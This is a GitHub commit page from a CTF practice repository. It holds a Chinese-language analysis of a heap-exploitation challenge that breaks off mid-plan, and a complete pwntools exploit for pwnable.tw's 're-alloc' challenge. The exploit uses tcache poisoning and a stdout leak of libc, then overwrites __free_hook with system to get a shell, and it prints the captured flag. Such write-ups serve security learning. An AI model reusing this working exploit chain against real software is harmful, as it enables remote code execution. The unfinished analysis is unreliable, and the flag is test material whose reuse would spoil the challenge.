-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
7 changed files
with
189 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
## 程序分析 | ||
|
||
#### 漏洞点 | ||
|
||
- 没有开启`PIE`且`.bss`段上有不少变量,例如`author`后面就紧跟着堆块的指针 | ||
- 对分配的`chunk`大小没有限制 | ||
- 2.23的`libc`,可以用`IO`利用中的`FSOP`来打 | ||
|
||
- 注意到程序自定义的输入函数存在`\x00`处理的问题: | ||
```c++ | ||
__int64 __fastcall my_getLine(char *a1, unsigned int a2) | ||
{ | ||
int chk; // [rsp+1Ch] [rbp-4h] | ||
|
||
chk = _read_chk(0LL, a1, a2, a2); | ||
if ( chk < 0 ) | ||
{ | ||
puts("read error"); | ||
exit(1); | ||
} | ||
if ( a1[chk - 1] == 10 ) // no \n, no '\x00' | ||
a1[chk - 1] = 0; | ||
return (unsigned int)chk; | ||
} | ||
``` | ||
- 同时`editPage`中使用`strlen`来更新堆块的size,这样就有机会修改到下一个chunk的`size`域 | ||
- 注意到`addPage`函数中数组越界的问题: | ||
```c++ | ||
for ( i = 0; ; ++i ) | ||
{ | ||
if ( i > 8 ) // out_of_bound | ||
return puts("You can't add new page anymore!"); | ||
if ( !contPtr[i] ) | ||
break; | ||
} | ||
``` | ||
|
||
-------- | ||
|
||
#### 难点 | ||
|
||
- 没有提供`free`功能 | ||
|
||
-------- | ||
|
||
## 漏洞利用 | ||
|
||
由于程序中没有`free`,因此考虑[House_of_Orange](#补充内容): | ||
|
||
- 分配一块 | ||
|
||
## 补充内容 | ||
|
||
#### brk和mmap | ||
|
||
当程序需要分配的内存空间`size > top_chunk.size`时`sysmalloc`中有两种拓展方式: | ||
|
||
- `size < mp_.mmap_threshold` | ||
`brk`会将数据段`.data`的最高地址指针`_edata`往高地址推,可以通过这种方式在程序没有`free`功能时得到一块`unsorted_bin chunk`( 这种利用方法也常常被称为为`House_of_Orange` ) | ||
|
||
- `size>= mp_.mmap_threshold` | ||
`mmap`直接向操作系统申请内存: 在进程的虚拟地址空间中( 堆和栈中间,称为文件映射区域的地方 )找一块空闲的虚拟内存,其地址与`libc_base`也有固定的偏移量,可用来进行`leak`( 记得`AsisCTF-2016-b00ks`就是这么做的 ) | ||
|
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,124 @@ | ||
#!/usr/bin/python3 | ||
#-*- coding: utf-8 -*- | ||
from pwn import * | ||
|
||
# context.log_level = 'debug' | ||
context.arch='amd64' | ||
context.terminal = ['tmux','sp','-h','-l','120'] | ||
|
||
# remote_service = "" | ||
# remote_service = remote_service.strip().split(" ") | ||
|
||
filename = "./pwn" | ||
# p = process(filename) | ||
e = ELF(filename, checksec=False) | ||
l = ELF(e.libc.path, checksec=False) | ||
|
||
rl = lambda a=False : p.recvline(a) | ||
ru = lambda a,b=True : p.recvuntil(a,b) | ||
rn = lambda x : p.recvn(x) | ||
sn = lambda x : p.send(x) | ||
sl = lambda x : p.sendline(x) | ||
sa = lambda a,b : p.sendafter(a,b) | ||
sla = lambda a,b : p.sendlineafter(a,b) | ||
irt = lambda : p.interactive() | ||
dbg = lambda text=None : gdb.attach(p, text) | ||
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s))) | ||
uu32 = lambda data : u32(data.ljust(4, b'\x00')) | ||
uu64 = lambda data : u64(data.ljust(8, b'\x00')) | ||
def debugPID(): | ||
# lg("p.pid") | ||
# input() | ||
pass | ||
|
||
def alloc(idx, size, data=b"aaa"): | ||
ru(b"Your choice:") | ||
sl(b"1") | ||
ru(b"Index:") | ||
sl(str(idx).encode()) | ||
ru(b"Size:") | ||
sl(str(size).encode()) | ||
ru(b"Data:") | ||
sn(data) | ||
def realloc(idx, size, data=None): | ||
ru(b"Your choice:") | ||
sl(b"2") | ||
ru(b"Index:") | ||
sl(str(idx).encode()) | ||
ru(b"Size:") | ||
sl(str(size).encode()) | ||
if size: | ||
ru(b"Data:") | ||
sn(data) | ||
def free(idx): | ||
ru(b"Your choice:") | ||
sl(b"3") | ||
ru(b"Index:") | ||
sl(str(idx).encode()) | ||
|
||
|
||
# target_addr = 0xdeadbeef | ||
# data = p64(0xcafedead) | ||
# alloc(0, 0x20, b"aaa") | ||
# realloc(0, 0) | ||
# realloc(0, 0x20, p64(target_addr)) | ||
# alloc(1, 0x20, b"aaa") | ||
# realloc(0, 0x30, data) | ||
# free(0) | ||
# realloc(1, 0x30, b"a"*0x20) | ||
# free(1) | ||
|
||
|
||
while 1: | ||
p = remote("chall.pwnable.tw",10310) | ||
# p = process(filename) | ||
try: | ||
alloc(0,0x38) | ||
alloc(1,0x38) | ||
free(1) | ||
realloc(0,0) | ||
|
||
# lg("p.pid") | ||
test_bit = bytes([9 * 0x10]) | ||
realloc(0,0x38, b'\x10' + test_bit) | ||
|
||
# debugPID() | ||
alloc(1, 0x38) | ||
realloc(1, 0x18, b"a") | ||
free(1) | ||
|
||
# debugPID() | ||
alloc(1, 0x38, b'\x00'*0x1d + b'\xff'*0x1) | ||
realloc(1, 0x58, b'\x00') | ||
|
||
|
||
realloc(0, 0x18, b"\x00"*0x18) | ||
free(0) | ||
|
||
test_bit = 0xb | ||
realloc(1,0x78, b'\x00'*0x60 + p16((test_bit << 0xc) + (l.symbols['_IO_2_1_stdout_'] & 0xfff))) | ||
|
||
payload = p64(0xfbad1887) | ||
payload+= p64(0)*3 | ||
alloc(0, 0x58, payload) | ||
|
||
debugPID() | ||
rn(0x58) | ||
libc_base = uu64(rn(6)) - 0x1e6560 | ||
lg("libc_base") | ||
|
||
realloc(1, 0x78, b'\x00'*0x60 + p64(libc_base + l.symbols['__free_hook']-8)) | ||
free(1) | ||
alloc(1,0x58,b'/bin/sh\x00' + p64(l.symbols['system'] + libc_base)) | ||
free(1) | ||
|
||
|
||
|
||
# debugPID() | ||
sl(b"cat /home/re-alloc*/flag") | ||
irt() | ||
|
||
except Exception as e: | ||
p.close() | ||
|
||
# FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3} |
Binary file not shown.
Binary file not shown.
Binary file not shown.